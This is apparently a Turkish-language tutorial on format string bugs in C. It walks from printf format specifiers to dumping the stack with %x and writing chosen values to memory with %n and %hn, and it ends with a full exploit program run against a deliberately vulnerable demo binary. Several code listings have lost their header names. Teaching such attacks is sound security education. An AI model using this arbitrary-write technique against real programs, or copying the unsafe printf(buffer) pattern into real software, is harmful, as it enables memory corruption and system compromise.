********* FORMAT STRING NEDIR ? FORMAT STRING BUGLARI NELERDIR ? NASIL EXPLOIT EDILIR ? ********** Hazirlayan : Emre Kaya CodeName : N4rK07IX e-m@il : narkotix@linuxmail.org || kayaem@itu.edu.tr webpage : narkotix.fateback.com || www.students.itu.edu.tr/~kayaem -BOLUM 0x1: FORMAT STRING NEDIR ? Format string tanimi belki cogumuza yabanci gelmeyebilir,yazdigimiz kodlarin icerisinde kullandigimiz bir takim sembollerin belki farkindayiz belki de farkinda olmadan kitaplardan aklimizda kaldigi kadariyla kullaniyoruz.(Herkes uzerine alinmasin tabi :P ).Eger bir C veya C++ programcisiysaniz bunlarla devamli hasir nesirsinizdir.Yediginiz ekmek ictiginiz su gibi kodlarinizda onlara muhtacsinizdir.Fazla geyik yapmadan soyle hemen her zamanki kullandigimiz format string sembollerine bi goz atalim. %d --> Integer yani tam sayilar icin kullandigimiz format string. %u --> unsigned int , yani isaretsiz tam sayilar icin kullandigimiz format string. %s --> Diziler icin yani karakter dizileri icin kullandigimiz format string. %c --> Karakterler icin kullandigimiz format string . ('a','b','c',........'!','#','$',.....) %lu --> unsigned long integerlar icin kullandigimiz format string (32 bit) %n , %hn --> %n format string karakterinden once hafizaya kac byte yazildigini gosteren format string. NOT: Bu Detayli Bi sekil de anlatilacaktir. Simdilik boyle bilinsin. %x --> Hexadecimal karakterler icin kullandigimiz format string. %f --> Float (yani,tam sayi olmayan) sayilar icin kullandigimiz format string. %p --> Pointer to object , fonksiyon pointerlari icin kullandigimiz format string. Evet bunlar hemen aklinizdan "ben bunlarin hepsini biliyordum" lafini gecireceginiz semboller yani format stringler. Bunlari kabaca bi hatirladiktan sonra yavas yavas hedefimize dogru ilerlemeye baslayalim. -BOLUM 0x2: FORMAT STRING NASIL KULLANILIR ? En basitinden herkes makinalarinda ufak da olsa bi C programi yazmistir. Genel olarak herkesin ilk yazdigi C programi "Hello World" yani ekrana "merhaba dunya" karakter dizisini basan program. Simdi biz de kural ihlali yapmadan hemen bu programa benzer bi program yazalim ve ilk format stringimizi kullanalim. #include main(void) { printf("%s\n","Artik ben bir coderim"); return 0; } Evet yukaridaki programi derleyip calistirdigimiz zaman ekrana ne basacagini hepimiz biliyoruz.Hemen deneyelim; Programi merhaba.c ile kaydettikten sora; addicted@labs:~/text$ cc -o merhaba merhaba.c addicted@labs:~/text$ ./merhaba Artik ben bir coderim addicted@labs:~/text$ gordugnuz gibi bekledigimiz seyi basti :P (Biliyorum sIkIliyorsunuz ama sabredin ) burda kullandigimiz printf("%s\n","Artik ben bir coderim"); ^ |______________ Karakter format string(Artik ben bir coderim) icin -BOLUM 0x3: FORMAT STRING BUGLARINA GIRIS Karanlik bi gece ve yagmurlu bi aksamda yarin icin yetistirmeniz gereken bir proje var. Isin ucunda hayatiniz bile olabilir.Parmaklariniz son surat klavyeyi tuslarken kodlarinizin arasinda eksikligini hissetmediginiz bir takim olay lar oluyor.Kendinizi onu bitirmeye adamis bi sekilde neyin nerde olup bittiginden haberdar deilsiniz,gozlerinizden uyku akiyor veya o aksam icmis de olabilirsiniz. Ve nihayetinde kodu bitirdiniz derlediniz ve calisiyor da ,artik sizden mutlu kimse olamaz.Belki de bu proje binlerce kisinin elinden gececek.Programi siradisi kullanmayanlar icin pek bir problem olamayacaktir yazdiginiz kodlar. Ama kafasindan seytani dusunceler geciren bir coder in eline gecerse olabileceklere soyle bi adim atalim.. /* ---format1.c----*/ #include #include main(int *argc, char *argv[]) { char buffer[50]; strcpy(buffer,argv[1]); printf(buffer); printf("\n"); return 0; } Evet yazdiginiz bu kodda kullanicidan standart input tan bir sey girmesini istediniz ve bunu , buffer[50] deiskenine kaydedip tekrar standart out dan ekrana ne yazdigini bastiracaksiniz.Bu zamana kadar hersey normal ama su andan sonra asla !. Yazdiginiz kodu hemen derleyip calistiriyoruz cunki merak ediyoruz ne olacak diye. addicted@labs:~/text$ cc -o format1 format1.c addicted@labs:~/text$ ./format1 AAAA AAAA addicted@labs:~/text$ eee ne oldu yani bunda anormal bi durum mu var ? Evet hem de cok anormal bi durum var. Her zaman sizin istediginiz gibi birileri klavyesinden AAAA gibi sadece alfabenin 29 harfini veya 10 tane bilinen rakami girmez.Yeter ki o anda kafasinda deisik duygular barindirsin. Iste onlardan birinin eline bu program geciyor ve sunlari giriyor.. addicted@labs:~/text$ ./format1 %x bffff987 addicted@labs:~/text$ evet programin ekrana %x basmanizi bekliyordunuz,sizi kandirdi(acele yazilan program ancak bu kadar olur).Peki ekrana cikan sacma sapan bu karakterler de neyin nesi,bunlar size cok yabanci geliyor olabilir , gayet normal.Bunlarin ne oldugunu anlamadan once programi bir kere daha deisik bir argumanla calistiralim da icimiz azcik olsun rahat etsin; addicted@labs:~/text$ ./format1 AAAA.%x AAAA.bffff982 addicted@labs:~/text$ hmmm, AAAA ve nokta istedigimiz gibi orda duruyor ama o lanet olasi %x yine bas belasi, bunu hemen cozmemiz lazim. Herkes bilgisyarin nasil calistigini islemci ve hafizanin ne yonde nasil iletisim halinde bulundugunu az cok biliyordur.Yukaridaki programi calistirdigimiz zaman artik o bir islemci process i olarak hafizaya yuklenmistir. Islemci yukaridaki yazdigimiz kodun OP kodlarini yani asm instructer larini tek tek calistirarak hedefine ulasmaya calisir,taki en son instructer a kadar.Peki bunlar hafizada bir yerde olmasi lazim ki islemci bunlari calistirip programin ne yapmak istedigini anlasin.Ayni zamanda programimizin icinde kullandiginiz hafiza deiskenleri mesela yukardaki programda buffer[50] de hafizada bir yerde depolanip islemci icin hazir halde beklemesi lazim.Program ayni zamanda fonksiyonlarin argumanlari , geri donus adresleri ve de environment deiskenlerini hafizada tutmak icin ozel bi yer ayirmistir ki buna biz STACK diyoruz.Evet bizim isimize yarayacak olan yer genel olarak stack olacak.Hafizanin genel olarak gorunusunu sematik olarak gostermeye calisirsak; 0xbfffffff ------------------ *env deiskenleri <---ornek olarak HOME:/home/addicted . . . . . ........... ........... STACK <----Evet burasi bahsettigimiz hafiza alani . . . HEAP <---Dinamik Datalarin tutuldugu yer(en basitinden) . . . TEXT <---Text segmenti Op Code larin bulundug alan(asm instruction) . . . ..etc.. <---Geriye kalan kisimlar 0x8000000 ------------------ Evet sekilde gordugumuz gibi stack Last In First Out yani son giren ilk cikar mantigiyla calisan hafiza bolmesidir. Peki buraya veri aktarip veri almamizi kontrol eden sey nedir diye sorarsaniz bu da ESP registeri dir.(Detayli bilgi kitaplardan alinabilir). ESP registeri her zaman stack in en ustunde durur, ve buraya veri girdikce yani push edildikce yukardan asagi dogru hareket eder, tam tersi de ayni sekilde olarak, veri alindikca yani pop edilince asagidan yukari dogru hareket eder.Bunu bir ibre gibi dusunurseniz daha rahat anlayacaksinizdir.Peki buralara neden geldik diye sorarsaniz , format string mantigini anlayabilmemiz icin hafizanin nasil ve ne yonde calistigini iyi bilmemiz gerekir. simdi bizim isimizin oldugu STACK bolmesini biraz daha detayli olarak gosterelim. 0xbfffffff ------------------ ......... *env deiskenleri "/home/addicted/text/format1 < ---- "COLORTERM=Eterm" | "DISPLAY=:0.0" | Bunlar Bendeki Env lar(Ornek olarak..) "XAUTHORITY=/home/addicted/.Xauthority" | "LESSOPEN=|lesspipe.sh %s" < ---| .......... .......... .......... .......... ARGV[1] <------ ARGV[2] | Bunlar main(...) argumanlari burda ornek 3 tane ARGV[3] <-----| .......... .......... .......... DATA <----- Evet burda program icin gerekli Data bolumu .... .... .... RET <----- Fonksiyon geri donus adresi ... 0xbfff... ... STack i boyle daha iyi anlayacagini zannediyorum. En azindan gozumuzun onunde boyle canlansin. EVeeet simdi gelelim bizim format string maceramiza; En son programimiz ekrana AAAA.bffff982 basmisti. Simdi size bu bffff982 bisiyler ifade etmeye baslamistir. Bakin yukaridaki sekilde soldaki adrese biraz benziyor demi. O halde siz bu format string i unutan coder in printf(buffer) fonksiyonuna biz stdinput dan %x girdigimiz zaman bize hafiza adresinde ne varsa ekrana basiyor derseniz tam uzerine basmis olursunuz.Peki aklinizdan hemen su soruyu gecireceksiniz simdi " iyi de bu random olarak hafizadan bi deger mi basiyor bize" diye sorabilirsiniz. Evet bu sorunun cevabini benden almadan once kafanizi calistirip programi pespese bi kac kere calistirin (ayni argumani girerek). karsiniza cikan adres hep ayniysa bu demek olur ki "hayir random olarak basmiyor, tamamen bir yontemi izleyerek" degeri basiyor.Peki bu yontem ne ? Herkes bunu merak ediyor su anda , bu yontemi soyle aciklayalim; printf("%s\n","ben bir coderim"); fonksionunda %s hafizadaki printf in ilk argumani "ben bir coderim" i alip ekrana basiyor.Pekiya printf(buffer); dedigimiz zaman orda format string belirtmedik, printf neyi alip oraya print edecek diye soracaksiniz ve de bunun cevabi olarak , stackdaki siradaki adreste ne varsa print ediyor olacaktir.Siradaki deger peki ne burda? , burda ki deger bffff982 yani hexadecimal 0xbffff982 adresi. Evet hic bir format string verilmeden programimiza %x girersek siradaki ilk hafizada olan degeri ekrana bastiriyoruz.Dikkat edin hani bu sirayi ESP ile yukardan assa bi ibre gibi dusunmustuk,ibre nerdeyse deger onu gosteriyor. Pekii diyeceksiniz simdi bu adresleri bize veriyor biz hep bunlari ekrandan sadece okuyoruz , isimize yarayan sey ne olur ?. Aslinda bu tek basina hic bir seyi ifade etmez, ama insani zevke getiren yer de burasi olsa gerek , azcik dusunurseniz %x leri pes pese programa girerek stack i bastan assa yiyerek dump ettirebilirsiniz. Hemen deneyelim.. addicted@labs:~/text$ ./format1 %x.%x.%x.%x.%x.%x.%x bffff975.4003aa15.40153234.252e7825.78252e78.2e78252e.252e7825 addicted@labs:~/text$ evet gordunuz deilmi bunlari siz arttirarak daha cok veriyi dump ettirirsiniz. NOT:Yukaridaki degerlerin sizin ciktilarinizla ayni olmasini beklemeyin cunki isletim sisteminize gore deisiklik gosterecektir,onemli olan ayni olmasi deil. Simdi seytani fikirleri olan coderimiz tekrar is basinda ve aklindan hemen su soruyu geciriyor; "Acaba ben AAAA%x i argumana verdigim zaman AAAA larda stack uzerinde bir yerde depolaniyor %x ile de hafizanin iceri gini dump ettiriyorduk yani pop ediyorduk, eee o zaman ben bu %x ile hafizayi dump ettire ettire AAAA lara illaki bir yerde rastlamam lazim, eger rastlayamazsam stack denilen bir sey yalan olmasi lazim " diyor. Ve hemen is basina geciyor.. addicted@labs:~/text$ ./format1 AAAA.%x.%x.%x AAAA.bffff97c.4003aa15.40153234 addicted@labs:~/text$ hmmm olmadi, pes etmek yoq devam.. addicted@labs:~/text$ ./format1 AAAA.%x.%x.%x.%x AAAA.bffff979.4003aa15.40153234.41414141 addicted@labs:~/text$ BINGO!!!, 41414141 evet ordalar AAAAlari bulduk , hemen uzulmeyin A = 0x41 hexadecimal olarak, 4 tane AAAA=41414141 evet hedefimize ulastik o zaman . Peki ben yine hizimi alamdim AAAA lari gorduk de ne oldu? -BOLUM 0x4: FORMAT STRING BUGLARI NASIL EXPLOIT EDILIR ? Format string buglarini suistimal etmek icin , coder in bunlardan oyle yada boyle bir sekilde yararlanip hafizada istedigi bir yere bir seyler yazdirip oyun oynamasi lazim.Tabi bazen bunlar oyundan cikarak cinayete bile donusebilir. -%n FORMAT STRING'i: Yazimizin basinda da dedigim gibi %n ; hafizaya ondan once kac byte yazildigini yazmaya yarayan bi format string idi. Peki bunu hemen canli bi ornekle inceleyelim; /* format2.c */ #include main(void) { int target; printf("ben-23-byte-bir-diziyim%n\n",&target); printf("dizi uzunlugu = %d\n",target); return 0; } Kodumuzu hemen derleyip atesliyoruz.. addicted@labs:~/text$ cc -o format2 format2.c addicted@labs:~/text$ ./format2 ben-23-byte-bir-diziyim dizi uzunlugu = 23 addicted@labs:~/text$ hmmmmm, evet istedigimiz gibi %n parametresi ile 23 byte bir dizinin 23 byte oldugunu yani %n once 23 byte dizi oldugunu target deiskenimize yazdirip ekrana bastirdik.bunu biraz daha ilerletelim... /* format3.c */ #include #include main(void) { int target; printf("%.137x%n\n","format",&target); printf("dizinin uzunlugu = %d byte\n",target); return 0; } addicted@labs:~/text$ cc -o format3 format3.c addicted@labs:~/text$ ./format3 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000080483b4 dizinin uzunlugu = 137 byte addicted@labs:~/text$ evet gordugumuz gibi %.137x ile 137 byte yazdirdik, ordaki nokta bos yerlere 0 koy anlamina gelmekte, eger noktayi kaldirirsaniz sifirlarin yerine bosluk koyar ve yine 137 byte string olarak target imiza yazar. Cok guzel, heme seytani fikirleri olan coder in aklina bir fikir gelir. Biz boyle %n ile bizden once kac byte yazildi gini bir hafizaya yazdirabiliyorsak o zaman ben istedigim bi hafizaya , istedigim bir buyuklugu ayarlayip yazdirabilirim.. hmmm gayet parlak bi fikir. TAbi neden olmasin hemen kodumuzu atesleyelim.. /* format4.c */ #include #include #include int target = 0x8; main(int *argc, char *argv[]) { char buffer[100]; printf("target in adresi = 0x%08x\n",&target); printf("target in ilk degeri = 0x%x\n",target); strcpy(buffer,argv[1]); printf(buffer); // <-------- format string bugunun oldugu fonksiyon printf("target in son degeri = 0x%08x\n",target); } hemen derleyip atesleyelim; addicted@labs:~/text$ cc -o format4 format4.c addicted@labs:~/text$ ./format4 AAAA target in adresi = 0x080494ac target in ilk degeri = 0x8 AAAAtarget in son degeri = 0x8 addicted@labs:~/text$ evet target in degeri her iki sekilde de normal gordugunuz gibi 0x8 olarak. Simdi coderimizin hedefi bu 0x8 degerini deistirmek her ne pahasina olursa olsun... Bunun icin ne yapcaz simdi, ilk once bize yazmamiz icin gereken bi adres olacak bu da target in adresi yani &target o nu da programimiz bize zaten 0x080494ac hazir olarak verdi.Simdi bu adrese biz nasil veri yazdirabiliriz... Kafamizi kullanirsak az once %n ile hafizaya kac byte yazildigindan bahsetmistim, simdi burda bu bahisi one surerek ayni sekilde bu adrese %n den once kac byte yazildigini yazdircaz.. Bunun icin ilk once 0x080494ac hafiza adresini bir karakter dizisine cevirmemiz lazim deilmi , o da cok basit \xac\x94\x04\x08 evet gordugunuz gibi hafiza stringimiz ateslenmek icin bizi bekliyor.. hemen konsola donup bas- layalim... addicted@labs:~/text$ ./format4 `printf "\xac\x94\x04\x08"`%x%x%x%x target in adresi = 0x080494ac target in ilk degeri = 0x8 ˆbffff97dbffff824bffff78480494actarget in son degeri = 0x8 ^_____^ ^ |_____________ Evet bu gordugunuz adres 0x080494ac in ta kendisi yani %x ile oraya geldik. Peki simdi biz oranin icerigini %x ile dump ettirmek yerine %n ile veya %hn ile oraya bu %n format stringinden once kac byte yazildigini yazdiramazmiyiz ??? Hemen denicez.. addicted@labs:~/text$ ./format4 `printf "\xac\x94\x04\x08"`%x%x%x%hn target in adresi = 0x080494ac ^ target in ilk degeri = 0x8 |_________ %hn format stringimizi %x yerine yazdik. ˆbffff97cbffff824bffff784target in son degeri = 0x1c addicted@labs:~/text$ ^ |_______________evet son degerimiz 0x1c oldu , ama bu deger 0x8 idi. BINGO!!! evet 1.Gorev basariyle tamamlandi .Missione Complete. Gordunuz deilmi degerimiz 0x1c olmus durumda peki 0x1c hexadecimal sayisi decimal olarak 28 e esit oldugunu biliyoruz. bu ne demek ? Bu su demek %hn format stringinde once biz 0x080494ac hafizasina tam 28 byte yazdirdik demek. Belki inanmayabilirsiniz bu yuzden hemen sayarak hesaplamaya baslayalim..... bffff97c bffff824 bffff784 ^ ^ ^ | | |_________ 0x8 byte = 8 byte <------ | | | | |__________________ 0x8 byte = 8 byte | Burasi toplam 3X 0x8 = 24 byte | | |___________________________ 0x8 byte = 8 byte <------ + Basta verdigimiz \xac\x94\x04\x08 hafiza dizimiz 4 byte oldugundan 24 + 4 = 28 byte ^ ^ ^ ^ | | | | 1b +1b +1b +1b <----- 4byte. Buraya kadar hersey gayet guzel fakat ben hizimi alamadim diyenler icin devam ediyoruz, Cunki buraya kadar ogrendik- lerimizle tam hedefimize ulasmis deiliz, hedefimiz belli bi adrese baska bi adresi tamamen yazdirmak. Peki yukarda onu yapmadik mi, evet yukarda yaptigimiz tam olarak o deil, yapacagimiz isin ilk asamasiydi. Simdi 2.Hedefimiz yukaridaki format4.c vulnerabla kodunda target adresimizin degerini 4 bytelik baska bi adresle deistirmek yani tam olarak 0xbffffff0 gibi 4 bytelik bi adresle deistirmek. Hmmmm peki bunu neden yukaridaki gibi yapamayiz diye sorarsaniz ki sormaniz lazim, bunun cevabi yukaridaki gibi yontemle bir hafizaya tek bir hamlede en fazla integer olarak 65535 sayisini yazdirabiliriz. bu da hexadecimal olarak 0xffff dir. gordunuz demi 0xffff 2 byte lik bi hexadecimal ama bizim hedefimiz 4 byte yazdirmak. Simdi 4 byte i birakalim biz , 2 byte ile su anlik yetinmeye calisalim, bakalim 2 bytelik bi adresi target imiza yazabilecekmiyiz.... -BOLUM 0x5: HAFIZAYA ISTEDIGIMIZ BIR ADRESIN 2 BYTE LIK KISMINI YAZMAK Evet simdi targetimiza hemen bi hedef adres belirleyelim, hmmmmmmmmmm tamam buldum 0x7070 evet bu hexadecimal sayiyi targetimiza yazmaya caliscaz. hemen konsolumuza donup kodumuzu ateslemeye baslayalim.. Ayni kod uzerinde calisiyoruz. /* format4.c */ #include #include #include int target = 0x8; main(int *argc, char *argv[]) { char buffer[100]; printf("target in adresi = 0x%08x\n",&target); printf("target in ilk degeri = 0x%08x\n",target); strcpy(buffer,argv[1]); printf(buffer); // <-------- format string bugunun oldugu fonksiyon printf("target in son degeri = 0x%x\n",target); } hmmmm, simdi hemen 0x7070 sayisinin decimal karsiligini bulalim,,, decimal olarak 0x7070 = 28784 evet bunu basit bir hex editoru ile hemen bulabilirsiniz ya da hemen 2 satir bi C kodu ile bulabilisiniz. Simdi bu sayi neye yarayacak derseniz, bu sayi kadar byte i %n den once yazdirirsak hafizaya o zaman 0x7070 i hafizamizda elde etmis oluruz. hemen kodu calistiralim.. 0x080494ac <----- bu bizim target adresimiz deismedi yine buna yazmaya calisiyoruz (sizde farklidir muhtemelen) addicted@labs:~/text$ ./format4 `printf "\xac\x94\x04\x08"`%.28784x%x%x%hn target in adresi = 0x080494ac target in ilk degeri = 0x8 ¬0000000000000000000000000000000000000000000000000000000000000000000000000000000 .............. ............... .............. ................ 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000bffff976bffff824bffff784 target in son degeri = 0x00007084 addicted@labs:~/text$ Evet binlerce sifirdan sonra adresimizi 0x00007084 olarak deistirdik fakat biz bunu hedeflemiyorduk bizim hedef ledigimiz sayi 0x00007070 olmaliydi neden oyle oldu derseniz, cunki %hn den once 3 tane %x ve 1 de 4bytelik target adresimiz var bunlarin toplami 3 X 0x8 + 4 = 0x14 = 20 decimal ^ ^ | |_______ bu 4 byte \xac\x94\x04\x08 dizimizden gelen 4 byte | |____________ bunlar %hn dan once yazdigimiz %x lerin 8 bytelik ciktilari Simdi hemen o zaman akliniza bunu 0x7070 yapabilmek icin bu fazladan gelen 20 byte i cikarmak geliyor demi ?, Evet cok doru dusundunuz ve hemen dusundugunuz gibi hemen 20 byte i cikaralim 28784 - 20 = 28764 <----- Evet bu bizim kesin olan degerimiz . simdi hemen kodumuzu atesleyelim... addicted@labs:~/text$ ./format4 `printf "\xac\x94\x04\x08"`%.28764x%x%x%h target in adresi = 0x080494ac target in ilk degeri = 0x8 ¬0000000000000000000000000000000000000000000000000000000000000000000000000000000 .............. ............... .............. ................ 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000bffff976bffff824bffff784 target in son degeri = 0x00007070 addicted@labs:~/text$ BINGO !!! Missione 2 Complete . -BOLUM 0x6 : HAFIZAYA ISTEDIGIMIZ BIR ADRESIN TAMAMINI (4 BYTE) YAZMA Evet yukarda yaptigimiz olay 1. asamanin tamamlanmasiydi simdi gelelim bu adresin tam olarak 4 byte lik baska bir adres ile yazilmasina.. Isler biraz daha karisacak gibi gorunsede butun olay ayni , tek yapmaniz gereken siradan toplama cikarma islemi ile , benden once kac byte yazildi, bu kadar byte yazilmis ise geriye kaliyor su kadar byte o zaman bunun decimal karsiligi sudur deyip ilkokul bilgilerimizi tazeliyoruz. hehe :> Aslinda isin gercegi bu abartilacak bi yani olmamasi , neyse fazla lafa gerek yoq hemen icraata baslayalim... Ilk once hafizaya tek yazista 65535 den fazla byte yazamayacagimizi soylemistim, peki adresin geriye kalan kismini nasil yazacaz diye sorarsaniz, tipki sizinde dusundugunuz gibi adresi 2 kisma parcalayarak ilk once birinciyi sonra da ikinciyi yazcaz. Bu bolme islemini C den hatirlayacaginiz gibi basit bir shifting mekanizmasi ve AND mekanizmasi ile yapcaz. simdi amacimiz 0x60607070 hexadecimal adresini yukardaki vulnerable programdaki target adresimize yerlestirmek olsun. bunun icin ilk once ne yapcaz tabi ki bu hex adresi 2 kisma parcalayacagiz, bu da high ve low adresler diye 2 kisma ayirmakla olacak.. Simdi bu hex sayidaki high adres neresi derseniz tabi ki 2 byte lik 0x6060 lik olan kisimdir.simdi bunu shift ve & islemi ile hemen ayiralim high_adress = (0x60607070 & 0xffff0000) >> 16 <----- evet bu islem ile saf 0x6060 i elde ederiz. peki geri kalan 0x00007070 i nasil elde etcez dersniz onu da ayni sekilde & ile tek islem yaparak elde etcez. low_adress = (0x60607070 & 0x0000ffff) <------ o da bize 0x00007070 i verecektir evet gordugunuz gibi elimizde iki tane ayri 2 bytelik adresimiz oldu bunlar high_adress = 0x6060 low_adress = 0x00007070 simdi bunlari target adresimiza yerlestirmek icin 2 ayri isleme ihtiyacimiz olacak, 1. 0x6060 i target in 2 bytelik kismina yerlestirmek 2. 0x00007070 i targetin diger 2 bytelik kismina yerletirmek. bakin burda dikkat edin, target adresini de 2 ayri sekilde ele aliyoruz yani onu da bir nevi 2 ye boluyoruz. Simdi genel olarak yapmamiz gerekenleri soyle bir sema ile gosterecek olursak target adresimiz = 0x080494ac &target[0] &target[1] &target[2] &target[3] ^ ^ ^ ^ \xac ________________ | | | |___________________ \x04 | | | | \x94 ______________________________| |_______________________________ \x08 evet sekilde de gordugunuz gibi adresi byte byte toplam 4 byte olacak sekilde ayirdik. Simdi bizim yapacagimiz sey 0x60607070 i 0x6060 ve 0x00007070 olarak buraya yerlestirmek Ilk once 0x00007070 i yani bu saga dayali olarak 0x7070 , bunu &target[0] ve &target[1] e yerlestirelim .. &target[0] &target[1] &target[2] &target[3] \x70 \x70 evet bu tamam simdi de 0x6060 olan degerimizi &target[2] ve &target[3] e yerlestirelim &target[0] &target[1] &target[2] &target[3] \x70 \x70 \x60 \x60 evet simdi goruldugu gibi dizi hafizamizda soyle bir yer isgal edecektir -------------------- Low Adress(kucuk addres) 0xbffffff4 &target[0] 0xbffffff5 &target[1] 0xbffffff6 &target[2] 0xbffffff7 &target[3] ......... .......... ......... .......... ......... .......... ......... ENV VARIABLE[x] <------- environment deiskenlerinin oldugu bolge High Adres(Buyuk adres) 0xbfffffff .......... Evet sekilde goruldugu gibi targetimiz stackdaki yerini aynen oyle almaktadir. Simdi biz burda ilk once ne yaptik; 1- 0x7070 i &target[0] a yerlestirdik 2- 0x6060 i &target[2] a yerlestirdik <---------- &target[0] + 2 ( Selam Uz4yh4N :P) evet simdi olay tamamdir, elimizdeki verileri soyle bi siralayacak olursak 1- yazmak istedigimiz adresin birinci kismi 2- yazmak istedigimiz adresin ikinci kismi 3- target adresimizin ilk 2 byte lik olan kismi 4- target adresimizin son 2 bytelik olan kismi Simdi format stringimizi soyle bi sematize edelim disardan bakan nasil gorecek diye :P < &target[2] > < &target[0] > <0x6060 icin gerekli decimal sayi> <0x7070 icin gerekli decimal sayi> 0x7070 = 28784 0x6060 = 24672 evet bunlari da yazdiktan sonra, simdi net hesaplamalara gecelim; 0x7070 den once 2 tane 4 bytelik adresimiz var demi bunlar &target[2] ve &target[0] dikkat edin bunlari 2 ye ayirdik diye bunlari 2 ser byte zannedebilirsiniz ama oyle DEGIL. bunlar 32 bitlik adresler karistirmayin. 2 byte olarak ayirdigimiz kisimlar 0x6060 ve 0x7070 idi onlarla karistirmayalim.. Simdi bu adreslere biz 8 byte dedik toplam o zaman 1. adresimiz 0x606 - 0x8 olmasi lazim deil mi, yani o da decimal olarak ; 24672 - 8 = 24664 evet simdi bu tamam simdi gelelim 2. adresimizin hesaplanmasina bunuda high_address - low_address - 0x8 olarak hesaplicaz , simdi bu ne demek ona bakalim high_address dedigimiz 0x7070 in decimal degeri 28784 peki bundan once zaten 0x6060 dan gelen 24672 byte var bide en basta bulunan 2 tane 4 bytelik adresimiz var o zaman bunu da soyle yazabiliriz.. 28784 - 24672 - 8 = 4104 yani yeni format stringimizin disardan gorunusu soyle oldu; < &target[2] > < &target[0] > <24664x> <4104x> evet simdi bunlari da anladiktan sonra hemen bir konuya daha deginece giz. biz hep %x%x%x%x yazararak yukaridaki kodda printf in ilk argumanini goruyorduk, peki biz bunu 4 kere %x yazacak yere tek bir format stringle yapamazmiyiz ? Cevap Tabiki yapariz , ve de bu format string bize islemlerimizde cok kolaylik saglayacak bundan sonra, cunki her zaman yeteri kadar hafiza bulamayiz format stringimizi yerlestirmek icin vulnerable programda , o yuzden format stringimizi ne kadar kisa yazarsak bizim icin o kadar avantajli ve okunakli olacaktir... Simdi bunu gostermek icin hemen ilk vulnerable programimiza tekrar bakalim.. /* format1. */ #include #include main(int *argc, char *argv[]) { char buffer[50]; strcpy(buffer,argv[1]); printf(buffer); printf("\n"); return 0; } addicted@labs:~/text$ ./format1 'AAAA%4$x' AAAA41414141 addicted@labs:~/text$ Evet gordunuz bir '$' isareti ile 4 tane %x%x%x%x in yaptigi isi yaptik. bu neye yariyor . %4$x format stringi bize direkt olarak stack daki 4. offset e yani 4 siradaki hafiza bolmesine atlamamiza yariyor. Tahmin ettiginiz gibi bu bizim en cok isimize yarayacak olan sey olacak.. simdi format stringimizin en son halini yazip bu olaya da son noktayi koyalim; 24664x%4$hn%.4104x%5$hn ^ ^ | |_____________%5hn, stack da 5. offsete sahip olan target[0] icin. | | |______________________ %4$hn , stack da 4.offset e sahip olan target+2 icin %5hn olayini belki anlamayanlar olabilir onu daha iyi bi sekilde anlatmak gerekirse format1.c kodumuzda tekrar onu gosterelim. simdi target+2 adresimizin degeri burda ne olacak hemen bakalim. 0x080494ac + 2 = 0x080494ae ^ | |_________________ Bu bizim bildigimiz var in adresi. yani target diyoruz simdi hemen bakalim 5. offsette o mu var hemen control edelim addicted@labs:~/text$ ./format1 `printf "\xac\x94\x04\x08\xae\x94\x04\x08"`%x%x%x%x%x ¬¢bffff9774003aa154015323480494ac80494ae ^ addicted@labs:~/text$ ^ ^ |_____ 5 tane %x = %5$x |_____| ^ |_____evet gordunuz o adres yani 0x080494ae ARtik burda da bi sorun kalmamistir umarim , en azindan kafanizdaki ? silinmistir :P -BOLUM 0x7 : EXPLOIT YAZIMI Evet elimizdeki bu verilerle simdi hedefimize ulasma zamani geldi .. Yukaridaki format4.c vulnerable codu icin hemen ufak capta da olsa bi exploit yazma zamani geldi, biliyorum su anda yerinizde duramiyorsunuz bir an once target a adresimizi yazip rahatlamak istiyorsunuz ... Evet kemerleriniz baglayin ve editorunuzu acip hemen baslayin..... /* exploit1.c */ #include #include #define hedef 0x080494ac // <---- evet bu bahsi edilen target adresimiz, siz sizdekini buraya yazin. #define OFFSET 4 main(void) { char buffer[200]; // <------bu sprintf icin , format stringimizi yerlestirecegimiz hafiza char *adres[3] = // <------ bunu boyle yazmamizin sebebi adresleri bir dizi halinde yazmak 2 boyutlu vector. { (char *)hedef +2 , // <----bu hedef[2] demek (char *)hedef , // <---- hedef[0] demek yani targetin baslangici }; int high_adres, low_adres; long target = 0x60607070; high_adres = (target & 0xffff0000) >> 16 ; low_adres = (target & 0x0000ffff); high_adres -= 0x8; // <------hatirlayin 8 bytelik 2 adresi cikariyoruz. sprintf(buffer,"%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &adres, high_adres, OFFSET, (low_adres - high_adres) - 0x8, // <--------buyuk adresten kucugu cikariyoruz ve bastaki 8 byte //adresi cikariyoruz, dikkat edin low_address te buyuk deger var. OFFSET+1 // <-----degeri 5 olan offsetimiz ); execlp("./format4","./format4",buffer,NULL); } Evet exploitimizi hazirladiktan sonra derleme asamasina gelelim ve atesli kodumuzu atesleyelim; addicted@labs:~/text$ cc -o exploit1 exploit1.c addicted@labs:~/text$ ./exploit1 target in adresi = 0x080494ac target in ilk degeri = 0x8 ®¬000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 .................. .................. ................. ............. .......... ....... ... . 0000000000000000000000000000000000bffff814 target in son degeri = 0x60607070 addicted@labs:~/text$ MISSIONE 2 COMPLETE ! . Evet gorduk ve basariyla mutlu sona ulastik. 